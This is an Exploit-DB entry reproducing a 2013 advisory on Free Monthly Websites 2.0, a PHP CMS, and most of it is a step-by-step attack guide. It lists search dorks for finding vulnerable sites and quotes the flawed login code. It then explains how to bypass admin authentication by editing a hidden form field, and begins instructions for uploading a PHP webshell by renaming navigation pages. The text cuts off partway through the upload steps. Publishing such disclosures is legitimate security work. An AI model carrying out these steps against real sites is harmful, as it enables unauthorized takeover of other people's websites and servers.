Exploit-DB #24454
Description: Free Monthly Websites 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-05
Author: X-Cisadane

Exploit:
Title:
======
Free Monthly Websites v2.0 - Multiple Web Vulnerabilities


Date:
=====
2013-02-04


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=851


VL-ID:
=====
851


Common Vulnerability Scoring System:
====================================
8.5


Introduction:
=============
Free Monthly Websites 2.0 is here and you no longer have to worry about editing complicated HTML code as we have 
taken care of that for you, and you no longer have to worry about anything to do with website design as we have taken 
care of that for you too, adding your Google AdSense Publisher code, taken care of, ClickBank! All done for you, 
here\\\'s how it works. Upload Your Site To Your Domain (this can be done for you). Login To Your Admin Control Panel.
Personalize Your Website (takes just 5 minutes).

(Copy of the Vendor Homepage: http://www.freemonthlywebsites2.com/ )


Abstract:
=========
The independent Vulnerability Laboratory researcher (x-Cisadane) discovered multiple web vulnerabilities in the Free Monthly Websites v2.0 CMS.


Report-Timeline:
================
2013-02-04:	Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Defensiv


Severity:
=========
Critical


Details:
========
Multiple web vulnerabilities are detected in the Free Monthly Websites v2.0 Content Management System.
The first  bypass vulnerability allows attackers to bypass the system web application auth of the admin login.
The secound vulnerability allows to upload for example webshells and access them after upload via unauthorized web access.

Vulnerable Module(s):
                                                [+] Login Auth (Admin) - Bypass
                                                [+] Upload File - Unauthorized File Upload & Access


Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers without required user interaction or privileged application user account.
For demonstration or reproduce ...

Dork(s):
inurl:/index_ebay.php
"Powered by: Resell Rights Fortune"
"Generating Traffic to Your Site with Keyword Based Articles"
Powered By: Free Monthly Websites 2.0
 

[ 1 ] Admin Login Bypass

Vulnerable page http://target.com/[path]/admin/index.php
Line 
40 <form name="frm" action="file_io.php" method="post" onSubmit="return chk()">
41 <input type="hidden" name="do_type" value="admin_settings_read">

Vulnerable page http://target.com/[path]/admin/login.php
Line
40 <form name="frm" action="file_io.php" method="post" onSubmit="return chk()">
41 <input type="hidden" name="do_type" value="admin_settings_read">

Vulnerable page http://target.com/[path]/admin/file_io.php

Line
14 if($_REQUEST[do_type]=="admin_settings_read")
15 {
16	$filename="settings/admin_settings.txt";
17
18	if(!$handle = fopen($filename, 'r'))
19	{
20		echo "Cannot open file ($filename)";
21		exit;
22	}
23	$contents = fread($handle, filesize($filename));
24	fclose($handle);
25	$argument_arr=explode("#_1_#",$contents);
26
27	if($argument_arr[0]==$_REQUEST[username] && $argument_arr[1]==$_REQUEST[pass])
28	{
29		$_SESSION[logged_in]=true;
30		header("location:welcome.php");

Based at line 16 we know that Admin Username and Password store in admin_settings.txt NOT on Database! 
So When we login into Admin Panel, file_io.php will Read Valid Username and Password from admin_settings.txt
If you do a direct access to the file admin_settings.txt, The results is 

403 Permission Denied
You do not have permission for this request /admin/settings/admin_settings.txt
Picture: http://i48.tinypic.com/2gvlwt4.png


So... How to Bypass Admin Login Page? 
1st. Open the Admin Login Page : http://target.com/[path]/admin/index.php 

2nd. Inspect Element on the login Form. 
Picture: http://i47.tinypic.com/2r5ddp1.png

3rd. Change from 
<form name="frm" action="file_io.php" method="post" onsubmit="return chk()"></form>
<input type="hidden" name="do_type" value="admin_settings_read">

CHANGE TO 
<form name="frm" action="file_io.php" method="post" onsubmit="return chk()"></form>
<input type="text" name="do_type" value="admin_settings_write">
Then press ENTER (please see pic).
Pic : http://i49.tinypic.com/351z3ib.png

4th. You will see A Login Failed Page : >> You need to login in to access that page <<
Picture: http://i50.tinypic.com/33ws8jb.png
Never Mind About that, just click 'Login Button' and VOILA you get and Admin Access!
Picture: http://i45.tinypic.com/jzwpea.png
----------------------------------------
[ 2 ] Upload PHP Backdoor or PHP Shell 

This vulnerability works on PREMIUM VERSION of Free Monthly Websites 2.0

So... How to Upload Backdoor (PHP Shell)?

1st. Go to Add/Remove Navigation Page. 
http://target.com/[path]/admin/add_main_pages.php

2nd. Enter a Name For Your New Navigation Page That You Wish To Add: dwi.php 
And click Add New Navigation Page.
Picture: http://i45.tinypic.com/vigzsp.png

3rd. Still at the same page, scroll down the page until you see this section : Sort Your Page Buttons/Links.
Pic : http://i46.tinypic.com/1040oxg.png
Change FROM dwi.php.html TO /dwi.php then Click Sort Navigation Pages.
Picture: http://i49.tinypic.com/24ec1l0.jpg

4th. Go to Edit Navigation Page.
http://www.massmoneywebsites.com/admin/edit_main_pages.php
Please Select a Page To Edit: dwi.php.html <--- Select that page.

5th. Inspect element on dwi.php.html
Pic : http://i50.tinypic.com/29pq1ix.png
Change FROM <option value="dwi.php.html" selected="">dwi.php.html</option>
To <option value="dwi.php" selected="">dwi.php</option>
Picture: http://i47.tinypic.com/wtb0j6.png

6th. Enter A Page Title As You Would Like It To Be Seen. Fill with dwi.php
URL For This Page: main_pages/dwi.php 
Use the 'URL For This Page' field above: [Tick] 
Display This Page in Left Vertical Site Navigation: [Tick]
Displ